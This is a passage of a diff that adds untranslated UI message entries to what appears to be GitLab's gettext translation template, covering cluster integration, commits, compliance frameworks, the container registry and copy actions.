+msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
+msgstr ""
+
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
+msgstr ""
+
+msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
+msgstr ""
+
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|Troubleshooting tips:"
+msgstr ""
+
+msgid "ClusterIntegration|Unable to Authenticate"
+msgstr ""
+
+msgid "ClusterIntegration|Unable to Connect"
+msgstr ""
+
+msgid "ClusterIntegration|Uninstall %{appTitle}"
+msgstr ""
+
+msgid "ClusterIntegration|Unknown Error"
+msgstr ""
+
+msgid "ClusterIntegration|Update %{appTitle}"
+msgstr ""
+
+msgid "ClusterIntegration|Update failed. Please check the logs and try again."
+msgstr ""
+
+msgid "ClusterIntegration|Use %{query}"
+msgstr ""
+
+msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
+msgstr ""
+
+msgid "ClusterIntegration|VPC"
+msgstr ""
+
+msgid "ClusterIntegration|Validating project billing status"
+msgstr ""
+
+msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
+msgstr ""
+
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
+msgstr ""
+
+msgid "ClusterIntegration|You are about to remove your cluster integration and all GitLab-created resources associated with this cluster."
+msgstr ""
+
+msgid "ClusterIntegration|You are about to remove your cluster integration."
+msgstr ""
+
+msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
+msgstr ""
+
+msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
+msgstr ""
+
+msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
+msgstr ""
+
+msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
+msgstr ""
+
+msgid "ClusterIntegration|You must specify a domain before you can install Knative."
+msgstr ""
+
+msgid "ClusterIntegration|You should select at least two subnets"
+msgstr ""
+
+msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
+msgstr ""
+
+msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
+msgstr ""
+
+msgid "ClusterIntegration|Your cluster API is unreachable. Please ensure your API URL is correct."
+msgstr ""
+
+msgid "ClusterIntegration|Your service role is distinct from the provision role used when authenticating. It will allow Amazon EKS and the Kubernetes control plane to manage AWS resources on your behalf. To use a new role, first create one on %{linkStart}Amazon Web Services%{linkEnd}."
+msgstr ""
+
+msgid "ClusterIntegration|Zone"
+msgstr ""
+
+msgid "ClusterIntegration|access to Google Kubernetes Engine"
+msgstr ""
+
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
+
+msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
+msgstr ""
+
+msgid "ClusterIntegration|meets the requirements"
+msgstr ""
+
+msgid "ClusterIntegration|sign up"
+msgstr ""
+
+msgid "ClusterIntergation|Select a VPC"
+msgstr ""
+
+msgid "ClusterIntergation|Select a network"
+msgstr ""
+
+msgid "ClusterIntergation|Select a security group"
+msgstr ""
+
+msgid "ClusterIntergation|Select a subnet"
+msgstr ""
+
+msgid "ClusterIntergation|Select a subnetwork"
+msgstr ""
+
+msgid "ClusterIntergation|Select an instance type"
+msgstr ""
+
+msgid "ClusterIntergation|Select key pair"
+msgstr ""
+
+msgid "ClusterIntergation|Select service role"
+msgstr ""
+
+msgid "Clusters|An error occurred while loading clusters"
+msgstr ""
+
+msgid "Code"
+msgstr ""
+
+msgid "Code Coverage: %{coveragePercentage}"
+msgstr ""
+
+msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
+msgstr ""
+
+msgid "Code Coverage| Empty code coverage data"
+msgstr ""
+
+msgid "Code Coverage|Couldn't fetch the code coverage data"
+msgstr ""
+
+msgid "Code Owner"
+msgstr ""
+
+msgid "Code Owners"
+msgstr ""
+
+msgid "Code Quality"
+msgstr ""
+
+msgid "Code Review"
+msgstr ""
+
+msgid "Code Review Analytics displays a table of open merge requests considered to be in code review. There are currently no merge requests in review for this project and/or filters."
+msgstr ""
+
+msgid "Code coverage statistics for %{ref} %{start_date} - %{end_date}"
+msgstr ""
+
+msgid "Code owner approval is required"
+msgstr ""
+
+msgid "Code owners"
+msgstr ""
+
+msgid "CodeIntelligence|This is the definition"
+msgstr ""
+
+msgid "CodeNavigation|No references found"
+msgstr ""
+
+msgid "CodeOwner|Pattern"
+msgstr ""
+
+msgid "Cohorts|Inactive users"
+msgstr ""
+
+msgid "Cohorts|Month %{month_index}"
+msgstr ""
+
+msgid "Cohorts|New users"
+msgstr ""
+
+msgid "Cohorts|Registration month"
+msgstr ""
+
+msgid "Cohorts|Returning users"
+msgstr ""
+
+msgid "Cohorts|User cohorts are shown for the last %{months_included} months. Only users with activity are counted in the 'New users' column; inactive users are counted separately."
+msgstr ""
+
+msgid "Collapse"
+msgstr ""
+
+msgid "Collapse all threads"
+msgstr ""
+
+msgid "Collapse approvers"
+msgstr ""
+
+msgid "Collapse issues"
+msgstr ""
+
+msgid "Collapse milestones"
+msgstr ""
+
+msgid "Collapse replies"
+msgstr ""
+
+msgid "Collapse sidebar"
+msgstr ""
+
+msgid "Collapses this file (only for you) until it’s changed again."
+msgstr ""
+
+msgid "Collector hostname"
+msgstr ""
+
+msgid "ComboSearch is not defined"
+msgstr ""
+
+msgid "Comma-separated, e.g. '1.1.1.1, 2.2.2.0/24'"
+msgstr ""
+
+msgid "Command"
+msgstr ""
+
+msgid "Command line instructions"
+msgstr ""
+
+msgid "Commands applied"
+msgstr ""
+
+msgid "Commands did not apply"
+msgstr ""
+
+msgid "Comment"
+msgstr ""
+
+msgid "Comment & close %{noteable_name}"
+msgstr ""
+
+msgid "Comment & reopen %{noteable_name}"
+msgstr ""
+
+msgid "Comment & resolve thread"
+msgstr ""
+
+msgid "Comment & unresolve thread"
+msgstr ""
+
+msgid "Comment '%{label}' position"
+msgstr ""
+
+msgid "Comment form position"
+msgstr ""
+
+msgid "Comment is being updated"
+msgstr ""
+
+msgid "Comment on lines %{startLine} to %{endLine}"
+msgstr ""
+
+msgid "Comment/Reply (quoting selected text)"
+msgstr ""
+
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
+msgid "Comments"
+msgstr ""
+
+msgid "Commit"
+msgid_plural "Commits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Commit %{commit_id}"
+msgstr ""
+
+msgid "Commit (when editing commit message)"
+msgstr ""
+
+msgid "Commit Message"
+msgstr ""
+
+msgid "Commit changes"
+msgstr ""
+
+msgid "Commit deleted"
+msgstr ""
+
+msgid "Commit message"
+msgstr ""
+
+msgid "Commit message (optional)"
+msgstr ""
+
+msgid "Commit statistics for %{ref} %{start_time} - %{end_time}"
+msgstr ""
+
+msgid "Commit to %{branchName} branch"
+msgstr ""
+
+msgid "CommitBoxTitle|Commit"
+msgstr ""
+
+msgid "CommitMessage|Add %{file_name}"
+msgstr ""
+
+msgid "CommitWidget|authored"
+msgstr ""
+
+msgid "Commits"
+msgstr ""
+
+msgid "Commits feed"
+msgstr ""
+
+msgid "Commits per day hour (UTC)"
+msgstr ""
+
+msgid "Commits per day of month"
+msgstr ""
+
+msgid "Commits per weekday"
+msgstr ""
+
+msgid "Commits to"
+msgstr ""
+
+msgid "Commits you select appear here. Go to the first tab and select commits to add to this merge request."
+msgstr ""
+
+msgid "Commits|An error occurred while fetching merge requests data."
+msgstr ""
+
+msgid "Commits|History"
+msgstr ""
+
+msgid "Commits|No related merge requests found"
+msgstr ""
+
+msgid "Committed by"
+msgstr ""
+
+msgid "Commit…"
+msgstr ""
+
+msgid "Community forum"
+msgstr ""
+
+msgid "Company"
+msgstr ""
+
+msgid "Company name"
+msgstr ""
+
+msgid "Compare"
+msgstr ""
+
+msgid "Compare %{oldCommitId}...%{newCommitId}"
+msgstr ""
+
+msgid "Compare Git revisions"
+msgstr ""
+
+msgid "Compare Revisions"
+msgstr ""
+
+msgid "Compare changes"
+msgstr ""
+
+msgid "Compare changes with the last commit"
+msgstr ""
+
+msgid "Compare changes with the merge request target branch"
+msgstr ""
+
+msgid "Compare submodule commit revisions"
+msgstr ""
+
+msgid "Compare with previous version"
+msgstr ""
+
+msgid "CompareBranches|%{source_branch} and %{target_branch} are the same."
+msgstr ""
+
+msgid "CompareBranches|There isn't anything to compare."
+msgstr ""
+
+msgid "CompareRevisions|Branches"
+msgstr ""
+
+msgid "CompareRevisions|Compare"
+msgstr ""
+
+msgid "CompareRevisions|Create merge request"
+msgstr ""
+
+msgid "CompareRevisions|Filter by Git revision"
+msgstr ""
+
+msgid "CompareRevisions|Select Git revision"
+msgstr ""
+
+msgid "CompareRevisions|Select branch/tag"
+msgstr ""
+
+msgid "CompareRevisions|Select target project"
+msgstr ""
+
+msgid "CompareRevisions|Tags"
+msgstr ""
+
+msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
+msgstr ""
+
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
+msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
+msgstr ""
+
+msgid "CompareRevisions|View open merge request"
+msgstr ""
+
+msgid "Complete"
+msgstr ""
+
+msgid "Completed"
+msgstr ""
+
+msgid "Compliance"
+msgstr ""
+
+msgid "Compliance Dashboard"
+msgstr ""
+
+msgid "Compliance framework"
+msgstr ""
+
+msgid "Compliance framework (optional)"
+msgstr ""
+
+msgid "Compliance framework (optional)"
+msgstr ""
+
+msgid "ComplianceDashboard|created by:"
+msgstr ""
+
+msgid "ComplianceFrameworks|Add framework"
+msgstr ""
+
+msgid "ComplianceFrameworks|All"
+msgstr ""
+
+msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
+msgstr ""
+
+msgid "ComplianceFrameworks|Compliance framework deleted successfully"
+msgstr ""
+
+msgid "ComplianceFrameworks|Compliance pipeline configuration location (optional)"
+msgstr ""
+
+msgid "ComplianceFrameworks|Could not find this configuration location, please try a different location"
+msgstr ""
+
+msgid "ComplianceFrameworks|Delete compliance framework %{framework}"
+msgstr ""
+
+msgid "ComplianceFrameworks|Delete framework"
+msgstr ""
+
+msgid "ComplianceFrameworks|Edit framework"
+msgstr ""
+
+msgid "ComplianceFrameworks|Error deleting the compliance framework. Please try again"
+msgstr ""
+
+msgid "ComplianceFrameworks|Error fetching compliance frameworks data. Please refresh the page"
+msgstr ""
+
+msgid "ComplianceFrameworks|Error fetching compliance frameworks data. Please refresh the page or try a different framework"
+msgstr ""
+
+msgid "ComplianceFrameworks|Invalid format: it should follow the format [PATH].y(a)ml@[GROUP]/[PROJECT]"
+msgstr ""
+
+msgid "ComplianceFrameworks|Once you have created a compliance framework it will appear here."
+msgstr ""
+
+msgid "ComplianceFrameworks|Regulated"
+msgstr ""
+
+msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
+msgstr ""
+
+msgid "ComplianceFrameworks|Unable to save this compliance framework. Please try again"
+msgstr ""
+
+msgid "ComplianceFrameworks|Use %{codeStart}::%{codeEnd} to create a %{linkStart}scoped set%{linkEnd} (eg. %{codeStart}SOX::AWS%{codeEnd})"
+msgstr ""
+
+msgid "ComplianceFrameworks|You are about to permanently delete the compliance framework %{framework} from all projects which currently have it applied, which may remove other functionality. This cannot be undone."
+msgstr ""
+
+msgid "ComplianceFrameworks|e.g. include-gitlab.ci.yml@group-name/project-name"
+msgstr ""
+
+msgid "ComplianceFramework|Edit Compliance Framework"
+msgstr ""
+
+msgid "ComplianceFramework|GDPR"
+msgstr ""
+
+msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
+msgstr ""
+
+msgid "ComplianceFramework|HIPAA"
+msgstr ""
+
+msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
+msgstr ""
+
+msgid "ComplianceFramework|New Compliance Framework"
+msgstr ""
+
+msgid "ComplianceFramework|PCI-DSS"
+msgstr ""
+
+msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
+msgstr ""
+
+msgid "ComplianceFramework|SOC 2"
+msgstr ""
+
+msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
+msgstr ""
+
+msgid "ComplianceFramework|SOX"
+msgstr ""
+
+msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
+msgstr ""
+
+msgid "ComplianceFramework|This project is regulated by %{framework}."
+msgstr ""
+
+msgid "Confidence"
+msgstr ""
+
+msgid "Confidential"
+msgstr ""
+
+msgid "Confidentiality"
+msgstr ""
+
+msgid "Configuration"
+msgstr ""
+
+msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
+
+msgid "Configure Gitaly timeouts."
+msgstr ""
+
+msgid "Configure Integrations"
+msgstr ""
+
+msgid "Configure Let's Encrypt"
+msgstr ""
+
+msgid "Configure Prometheus"
+msgstr ""
+
+msgid "Configure Tracing"
+msgstr ""
+
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
+
+msgid "Configure automatic git checks and housekeeping on repositories."
+msgstr ""
+
+msgid "Configure existing installation"
+msgstr ""
+
+msgid "Configure limit for issues created per minute by web and API requests."
+msgstr ""
+
+msgid "Configure limit for notes created per minute by web and API requests."
+msgstr ""
+
+msgid "Configure limits for Project/Group Import/Export."
+msgstr ""
+
+msgid "Configure limits for web and API requests."
+msgstr ""
+
+msgid "Configure limits on the number of inbound alerts able to be sent to a project."
+msgstr ""
+
+msgid "Configure paths to be protected by Rack Attack."
+msgstr ""
+
+msgid "Configure repository mirroring."
+msgstr ""
+
+msgid "Configure storage path settings."
+msgstr ""
+
+msgid "Configure the %{link} integration."
+msgstr ""
+
+msgid "Configure the way a user creates a new account."
+msgstr ""
+
+msgid "Configure which lists are shown for anyone who visits this board"
+msgstr ""
+
+msgid "Confirm"
+msgstr ""
+
+msgid "Confirmation email sent to %{email}"
+msgstr ""
+
+msgid "Confirmation required"
+msgstr ""
+
+msgid "Confluence"
+msgstr ""
+
+msgid "ConfluenceService|Confluence Workspace"
+msgstr ""
+
+msgid "ConfluenceService|Connect a Confluence Cloud Workspace to GitLab"
+msgstr ""
+
+msgid "ConfluenceService|Enabling the Confluence Workspace will disable the default GitLab Wiki. Your GitLab Wiki data will be saved and you can always re-enable it later by turning off this integration"
+msgstr ""
+
+msgid "ConfluenceService|The URL of the Confluence Workspace"
+msgstr ""
+
+msgid "ConfluenceService|Your GitLab Wiki can be accessed here: %{wiki_link}. To re-enable your GitLab Wiki, disable this integration"
+msgstr ""
+
+msgid "Congratulations, your free trial is activated."
+msgstr ""
+
+msgid "Connect"
+msgstr ""
+
+msgid "Connect all repositories"
+msgstr ""
+
+msgid "Connect repositories from GitHub"
+msgstr ""
+
+msgid "Connect your external repositories, and CI/CD pipelines will run for new commits. A GitLab project will be created with only CI/CD features enabled."
+msgstr ""
+
+msgid "Connected"
+msgstr ""
+
+msgid "Connecting"
+msgstr ""
+
+msgid "Connecting to terminal sync service"
+msgstr ""
+
+msgid "Connecting..."
+msgstr ""
+
+msgid "Connection failed"
+msgstr ""
+
+msgid "Connection failure"
+msgstr ""
+
+msgid "Connection timed out"
+msgstr ""
+
+msgid "Connection timeout"
+msgstr ""
+
+msgid "Consistency guarantee method"
+msgstr ""
+
+msgid "Contact Sales to upgrade"
+msgstr ""
+
+msgid "Contact support"
+msgstr ""
+
+msgid "Container Registry"
+msgstr ""
+
+msgid "Container Scanning"
+msgstr ""
+
+msgid "Container does not exist"
+msgstr ""
+
+msgid "Container must be a project or a group."
+msgstr ""
+
+msgid "Container registry images"
+msgstr ""
+
+msgid "Container registry is not enabled on this GitLab instance. Ask an administrator to enable it in order for Auto DevOps to work."
+msgstr ""
+
+msgid "Container repositories"
+msgstr ""
+
+msgid "Container repositories synchronization concurrency limit"
+msgstr ""
+
+msgid "Container repository"
+msgstr ""
+
+msgid "ContainerRegistry| Please visit the %{linkStart}administration settings%{linkEnd} to enable this feature."
+msgstr ""
+
+msgid "ContainerRegistry|%{count} Image repository"
+msgid_plural "ContainerRegistry|%{count} Image repositories"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ContainerRegistry|%{count} Tag"
+msgid_plural "ContainerRegistry|%{count} Tags"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
+msgstr ""
+
+msgid "ContainerRegistry|%{strongStart}Enabled%{strongEnd} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
+msgstr ""
+
+msgid "ContainerRegistry|Build an image"
+msgstr ""
+
+msgid "ContainerRegistry|CLI Commands"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup disabled"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup in progress"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup incomplete"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup is currently removing tags"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup is disabled for this project"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup pending"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup policy for tags is disabled"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup policy successfully saved."
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup ran but some tags were not removed"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup timed out before it could delete all tags"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup will run %{time}"
+msgstr ""
+
+msgid "ContainerRegistry|Cleanup will run soon"
+msgstr ""
+
+msgid "ContainerRegistry|Configuration digest: %{digest}"
+msgstr ""
+
+msgid "ContainerRegistry|Container Registry"
+msgstr ""
+
+msgid "ContainerRegistry|Copy build command"
+msgstr ""
+
+msgid "ContainerRegistry|Copy login command"
+msgstr ""
+
+msgid "ContainerRegistry|Copy push command"
+msgstr ""
+
+msgid "ContainerRegistry|Delete image repository?"
+msgstr ""
+
+msgid "ContainerRegistry|Delete selected"
+msgstr ""
+
+msgid "ContainerRegistry|Deleting the image repository will delete all images and tags inside. This action cannot be undone."
+msgstr ""
+
+msgid "ContainerRegistry|Deletion disabled due to missing or insufficient permissions."
+msgstr ""
+
+msgid "ContainerRegistry|Digest: %{imageId}"
+msgstr ""
+
+msgid "ContainerRegistry|Docker connection error"
+msgstr ""
+
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
+msgid "ContainerRegistry|Expiration policy is disabled"
+msgstr ""
+
+msgid "ContainerRegistry|Expiration policy will run in %{time}"
+msgstr ""
+
+msgid "ContainerRegistry|If you are not already logged in, you need to authenticate to the Container Registry by using your GitLab username and password. If you have %{twofaDocLinkStart}Two-Factor Authentication%{twofaDocLinkEnd} enabled, use a %{personalAccessTokensDocLinkStart}Personal Access Token%{personalAccessTokensDocLinkEnd} instead of a password."
+msgstr ""
+
+msgid "ContainerRegistry|Image repository deletion failed"
+msgstr ""
+
+msgid "ContainerRegistry|Image repository not found"
+msgstr ""
+
+msgid "ContainerRegistry|Image repository will be deleted"
+msgstr ""
+
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
+msgid "ContainerRegistry|Image tags"
+msgstr ""
+
+msgid "ContainerRegistry|Invalid tag: missing manifest digest"
+msgstr ""
+
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Last updated %{time}"
+msgstr ""
+
+msgid "ContainerRegistry|Login"
+msgstr ""
+
+msgid "ContainerRegistry|Manifest digest: %{digest}"
+msgstr ""
+
+msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
+msgstr ""
+
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
+msgid "ContainerRegistry|Published %{timeInfo}"
+msgstr ""
+
+msgid "ContainerRegistry|Published to the %{repositoryPath} image repository at %{time} on %{date}"
+msgstr ""
+
+msgid "ContainerRegistry|Push an image"
+msgstr ""
+
+msgid "ContainerRegistry|Remember to run %{docLinkStart}garbage collection%{docLinkEnd} to remove the stale data from storage."
+msgstr ""
+
+msgid "ContainerRegistry|Remove repository"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tag"
+msgid_plural "ContainerRegistry|Remove tags"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
+msgstr ""
+
+msgid "ContainerRegistry|Some tags were not deleted"
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while fetching the repository list."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while fetching the tags list."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while marking the tag for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while marking the tags for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while scheduling %{title} for deletion. Please try again."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while scheduling the image for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|Something went wrong while updating the cleanup policy."
+msgstr ""
+
+msgid "ContainerRegistry|Sorry, your filter produced no results."
+msgstr ""
+
+msgid "ContainerRegistry|Tag successfully marked for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|Tags successfully marked for deletion."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}View regex examples.%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}View regex examples.%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|The image repository could not be found."
+msgstr ""
+
+msgid "ContainerRegistry|The last tag related to this image was recently removed. This empty image and any associated data will be automatically removed as part of the regular Garbage Collection process. If you have any questions, contact your administrator."
+msgstr ""
+
+msgid "ContainerRegistry|The requested image repository does not exist or has been deleted. If you think this is an error, try refreshing the page."
+msgstr ""
+
+msgid "ContainerRegistry|The value of this input should be less than 256 characters"
+msgstr ""
+
+msgid "ContainerRegistry|There are no container images available in this group"
+msgstr ""
+
+msgid "ContainerRegistry|There are no container images stored for this project"
+msgstr ""
+
+msgid "ContainerRegistry|There was an error during the deletion of this image repository, please try again."
+msgstr ""
+
+msgid "ContainerRegistry|This image has no active tags"
+msgstr ""
+
+msgid "ContainerRegistry|This image repository has failed to be deleted"
+msgstr ""
+
+msgid "ContainerRegistry|This image repository is scheduled for deletion"
+msgstr ""
+
+msgid "ContainerRegistry|This image repository will be deleted. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|This project's cleanup policy for tags is not enabled."
+msgstr ""
+
+msgid "ContainerRegistry|To widen your search, change or remove the filters above."
+msgstr ""
+
+msgid "ContainerRegistry|We are having trouble connecting to the Registry, which could be due to an issue with your project name or path. %{docLinkStart}More information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|With the Container Registry, every project can have its own space to store its Docker images. %{docLinkStart}More Information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|With the Container Registry, every project can have its own space to store its Docker images. Push at least one Docker image in one of this group's projects in order to show up here. %{docLinkStart}More Information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|With the GitLab Container Registry, every project can have its own space to store images. %{docLinkStart}More information%{docLinkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|You are about to remove %{item} tags. Are you sure?"
+msgstr ""
+
+msgid "ContainerRegistry|You are about to remove %{item}. Are you sure?"
+msgstr ""
+
+msgid "ContainerRegistry|You are about to remove repository %{title}. Once you confirm, this repository will be permanently deleted."
+msgstr ""
+
+msgid "ContainerRegistry|You can add an image to this registry with the following commands:"
+msgstr ""
+
+msgid "Contains %{count} blobs of images (%{size})"
+msgstr ""
+
+msgid "Contents of .gitlab-ci.yml"
+msgstr ""
+
+msgid "ContextCommits|Failed to create context commits. Please try again."
+msgstr ""
+
+msgid "ContextCommits|Failed to create/remove context commits. Please try again."
+msgstr ""
+
+msgid "ContextCommits|Failed to delete context commits. Please try again."
+msgstr ""
+
+msgid "Continue"
+msgstr ""
+
+msgid "Continue to the next step"
+msgstr ""
+
+msgid "Continuous Integration and Deployment"
+msgstr ""
+
+msgid "Contribute to GitLab"
+msgstr ""
+
+msgid "Contribution"
+msgstr ""
+
+msgid "Contribution Analytics"
+msgstr ""
+
+msgid "ContributionAnalytics|%{created_count} created, %{closed_count} closed."
+msgstr ""
+
+msgid "ContributionAnalytics|%{created_count} created, %{merged_count} merged."
+msgstr ""
+
+msgid "ContributionAnalytics|%{pushes} pushes, more than %{commits} commits by %{people} contributors."
+msgstr ""
+
+msgid "ContributionAnalytics|Contribution analytics for issues, merge requests and push events since %{start_date}"
+msgstr ""
+
+msgid "ContributionAnalytics|Issues"
+msgstr ""
+
+msgid "ContributionAnalytics|Last 3 months"
+msgstr ""
+
+msgid "ContributionAnalytics|Last month"
+msgstr ""
+
+msgid "ContributionAnalytics|Last week"
+msgstr ""
+
+msgid "ContributionAnalytics|Merge Requests"
+msgstr ""
+
+msgid "ContributionAnalytics|No issues for the selected time period."
+msgstr ""
+
+msgid "ContributionAnalytics|No merge requests for the selected time period."
+msgstr ""
+
+msgid "ContributionAnalytics|No pushes for the selected time period."
+msgstr ""
+
+msgid "Contributions for %{calendar_date}"
+msgstr ""
+
+msgid "Contributions per group member"
+msgstr ""
+
+msgid "Contributor"
+msgstr ""
+
+msgid "Contributors"
+msgstr ""
+
+msgid "Control emails linked to your account"
+msgstr ""
+
+msgid "Control the display of third party offers."
+msgstr ""
+
+msgid "Cookie domain"
+msgstr ""
+
+msgid "Copied"
+msgstr ""
+
+msgid "Copied labels and milestone from %{source_issuable_reference}."
+msgstr ""
+
+msgid "Copy"
+msgstr ""
+
+msgid "Copy %{http_label} clone URL"
+msgstr ""
+
+msgid "Copy %{name}"
+msgstr ""
+
+msgid "Copy %{protocol} clone URL"
+msgstr ""
+
+msgid "Copy %{proxy_url}"
+msgstr ""
+
+msgid "Copy %{type}"
+msgstr ""
+
+msgid "Copy Account ID to clipboard"
+msgstr ""
+
+msgid "Copy External ID to clipboard"
+msgstr ""
+
+msgid "Copy ID"
+msgstr ""
+
+msgid "Copy KRB5 clone URL"
+msgstr ""
+
+msgid "Copy SSH clone URL"
+msgstr ""
+
+msgid "Copy SSH public key"
+msgstr ""
+
+msgid "Copy URL"
+msgstr ""
+
+msgid "Copy branch name"
+msgstr ""
+
+msgid "Copy codes"
+msgstr ""
+
+msgid "Copy command"
+msgstr ""
+
+msgid "Copy commands"
+msgstr ""
+
+msgid "Copy commit SHA"
+msgstr ""
+
+msgid "Copy environment"
+msgstr ""
+
+msgid "Copy evidence SHA"
+msgstr ""
+
+msgid "Copy file contents"
+msgstr ""
+
+msgid "Copy file path"
+msgstr ""
+
+msgid "Copy key"
+msgstr ""
+
+msgid "Copy labels and milestone from %{source_issuable_reference}."
+msgstr ""
+
+msgid "Copy labels and milestone from other issue or merge request in this project"
+msgstr ""
+
+msgid "Copy link"
+msgstr ""
+
+msgid "Copy link to chart"
+msgstr ""
+
+msgid "Copy reference"
+msgstr ""
+
+msgid "Copy secret"
+msgstr ""
+
+msgid "Copy source branch name"
+msgstr ""
+
+msgid "Copy the code below to implement tracking in your application:"
+msgstr ""
+
+msgid "Copy this value"
+msgstr ""
+
+msgid "Copy to clipboard"
+msgstr ""
+
+msgid "Copy token"
+msgstr ""
+
+msgid "Copy trigger token"
+msgstr ""
+
+msgid "Copy value"
+msgstr ""
+
+msgid "CorpusManagement|Fuzz testing corpus management"
+msgstr ""
+
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
